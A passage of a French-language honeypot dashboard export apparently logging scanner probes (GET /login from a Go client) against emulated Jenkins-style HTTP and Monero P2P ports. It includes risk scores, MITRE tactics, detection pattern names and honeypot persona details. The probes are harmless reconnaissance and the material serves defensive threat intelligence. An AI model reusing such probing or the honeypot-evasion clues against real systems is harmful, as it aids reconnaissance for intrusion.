"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:18080\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "18080 \u00b7 MONERO P2P",
"emulator_service": "monero-p2p",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 95 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "monero_p2p",
"service_banner": "honeypot-monero-p2p",
"service_os": "linux",
"dst_port": "18080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_get_probe",
"imap_probe",
"monero_p2p_emulated",
"monero_p2p_payload",
"net_monero_probe"
]
}
|
|
|
TCP |
8888 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8888 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8888
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
HTTP alt 8888 probe
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8888
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "25a58e7d7f0ed40aadf0d51b038172ea9ccc8435",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.871806509219084,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8888,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.6,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "8fecaa4ef78fb8e77169b85bb67faba623cae0c7",
"event_fingerprint": "0b09f788301fe2b2d89591d964f79d26de504c05",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"matched_patterns": [
"pat-0599"
],
"matched_pattern_names": [
"HTTP alt 8888 probe"
],
"pattern_ids": [
"pat-0599"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "0c53640b5dd77c2536eeed513d833625",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8888,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "7b89fed1e6c2227c2911152d83a1f2dc6363005a",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8888,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8888,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8888 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8888\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8888 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8888"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8081 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8081 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8081
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8081
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.875059505265444,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8081,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.4,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "42f0cdfde687c175be4bd286d7bf2708884f81e0",
"event_fingerprint": "c392e0bc933513b948daa7aeb55cb8ea496a895b",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "eb7bb7a037f77d0fb5b9ef8a8a38fbde",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "b94a76c15624891131c4ae659c0c81dbd413d823",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
]
}
|
|
|
TCP |
8090 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8090 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8090
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
Cicd Jenkins
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Ligne de requête
GET /login HTTP/1.1
User-Agent
Go-http-client/1.1
Règles WAF
—
Payload (extrait)
GET /login HTTP/1.1
Host: 62.3.50.33:8090
User-Agent: Go-http-client/1.1
Connection: close
Accept-Encoding: gzip
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "c3e68bb8f388240c7ecaebb8bcb80a85536526f2",
"http_host_hash": "112b403ea5b0e3a7d0d331ab96d728785c3ab96b",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": true,
"http_ua_is_browser": false,
"bytes_in": 120,
"payload_entropy": 4.898849113367722,
"port_category": "registered",
"org": "Vpsvault.host Ltd",
"service": "http",
"app_proto": "http",
"asn": 215925,
"country": "US",
"dst_port": 8090,
"risk_waf": 8,
"risk_classification": 32,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.8,
"risk_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15
},
"risk_score": 35,
"tag_count": 3,
"anomaly_count": 0,
"campaign_key": "9c4eec14d05d8c00da5b7af4e7038753a7611b45",
"event_fingerprint": "f1e6649c0d7d508382d12ef69014e8f2d1257b1e",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"confidence": 0.47,
"classification_confidence": 0.47,
"precision_score": 56,
"precision_signals": [
"INT-cicd-jenkins"
],
"kb_rule_ids": [
"INT-cicd-jenkins"
],
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 47,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 215925,
"org": "Vpsvault.host Ltd",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "12bd583dd25b868e6423d8f04cc19fd1",
"payload_hash": "40266fc776e64f535c40037051396a01",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 8090,
"service": "http",
"service_name": "http",
"risk_score": 35
},
"payload_preview": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"evidence": {
"method": "GET",
"path": "\/login",
"user_agent": "Go-http-client\/1.1",
"request_line": "GET \/login HTTP\/1.1",
"request_sample": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip\r\n\r\n",
"payload_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9d2352b7367a835e98ef199aa53aaab0b406b578",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"classification_reason_label_fr": "Type \u00ab jenkins_probe \u00bb (signaux protocolaires) \u00b7 confiance 47%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 35\/100",
"confidence_pct": 47,
"confidence_breakdown": {
"waf": 8,
"classification": 32,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 15,
"risk_score": 35
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 35,
"risk_label": "Faible",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8090,
"protocol_emulated": true,
"tags_summary": [
"INT-cicd-jenkins"
],
"tags_summary_labels_fr": [
"Cicd Jenkins"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Confiance mod\u00e9r\u00e9e \u2014 signal unique",
"protocol_details": {
"http_method": "GET",
"http_path": "\/login",
"request_line": "GET \/login HTTP\/1.1",
"http_user_agent": "Go-http-client\/1.1",
"port": 8090,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "jenkins probe \u00b7 via HTTP:8090 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "GET \/login HTTP\/1.1\r\nHost: 62.3.50.33:8090\r\nUser-Agent: Go-http-client\/1.1\r\nConnection: close\r\nAccept-Encoding: gzip",
"target_port_label": "8090 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 47 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 47 % \u2014 Score WAF 8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8090"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"http_probe_login",
"http_ua_suspicious",
"net_web_probe"
],
"behavior_alert_count": 1,
"behavior_priority": 72
}
|
|
|
TCP |
8080 · HTTP
|
http
|
jenkins probe
jenkins probe · via HTTP:8080 · (sonde / probe) · → /login
|
Élevée
|
Faible · 35
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /login UA Go-http-client/1.1
Émulateur
HTTP
WAF
0
Recommandation
Surveiller
Tags
http_probe_login
http_ua_suspicious
net_web_probe
Cible HTTP
GET
/login
TLS SNI
—
Capteur
paris-1
|
Méthode
GET
Port
8080
Chemin / cible
/login
Pourquoi cette classification : Type « jenkins_probe » (signaux protocolaires) · confiance 47%
Confiance classification
47%
Confiance modérée — signal unique
Risque capteur
Faible
· 35
Confiance : Confiance 47 % — Motif catalogue confirmé
